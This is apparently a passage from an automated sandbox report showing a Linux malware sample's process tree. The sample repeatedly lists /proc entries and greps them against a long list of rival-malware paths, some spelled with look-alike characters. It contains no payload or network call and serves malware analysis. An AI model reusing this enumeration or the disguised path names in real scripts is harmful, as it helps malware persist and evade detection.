  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1236
- /bin/grep
  grep exe
  2⤵
  PID:1239
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1238
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1241
- /bin/grep
  grep exe
  2⤵
  PID:1244
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1243
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1246
- /bin/grep
  grep exe
  2⤵
  PID:1249
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1248
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1251
- /bin/grep
  grep exe
  2⤵
  PID:1254
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1253
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1256
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1258
- /bin/grep
  grep exe
  2⤵
  PID:1259
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1261
- /bin/grep
  grep exe
  2⤵
  PID:1264
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1263
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1266
- /bin/grep
  grep exe
  2⤵
  PID:1269
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1268
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1271
- /bin/grep
  grep exe
  2⤵
  PID:1274
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1273
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1276
- /bin/grep
  grep exe
  2⤵
  PID:1279
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1278
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1281
- /bin/grep
  grep exe
  2⤵
  PID:1284
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1283
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1286
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1288
- /bin/grep
  grep exe
  2⤵
  PID:1289
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1291
- /bin/grep
  grep exe
  2⤵
  PID:1294
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1293
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1296
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1298
- /bin/grep
  grep exe
  2⤵
  PID:1299
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1301
- /bin/grep
  grep exe
  2⤵
  PID:1304
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1303
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1306
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1308
- /bin/grep
  grep exe
  2⤵
  PID:1309
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1311
- /bin/grep
  grep exe
  2⤵
  PID:1314
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1313
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1316
- /bin/grep
  grep exe
  2⤵
  PID:1319
- /bin/ls
  ls -latrh /proc/mtd
  2⤵
  PID:1318
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1321
- /bin/grep
  grep exe
  2⤵
  PID:1324
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1323
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1326
- /bin/grep
  grep exe
  2⤵
  PID:1329
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1328
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1331
- /bin/grep
  grep exe
  2⤵
  PID:1334
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1333
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1336
- /bin/grep
  grep exe
  2⤵
  PID:1339
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1338
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1341
- /bin/grep
  grep exe
  2⤵
  PID:1344
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1343
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1346
- /bin/grep
  grep exe
  2⤵
  PID:1349
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1348
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1351
- /bin/grep
  grep exe
  2⤵
  PID:1354
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1353
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1356
- /bin/grep
  grep exe
  2⤵
  PID:1359
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1358
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1361
- /bin/grep
  grep exe
  2⤵
  PID:1364
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1363
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1366
- /bin/grep
  grep exe
  2⤵
  PID:1369
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1368
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1371
- /bin/grep
  grep exe
  2⤵
  PID:1374
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1373
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1376
- /bin/grep
  grep exe
  2⤵
  PID:1379
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1378
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1381
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1383
- /bin/grep
  grep exe
  2⤵
  PID:1384
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1386
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1388
- /bin/grep
  grep exe
  2⤵
  PID:1389
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1391
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1393
- /bin/grep
  grep exe
  2⤵
  PID:1394
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1396
- /bin/grep
  grep exe
  2⤵
  PID:1399
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1398
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1401
- /bin/grep
  grep exe
  2⤵
  PID:1404
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1403
- /bin/grep
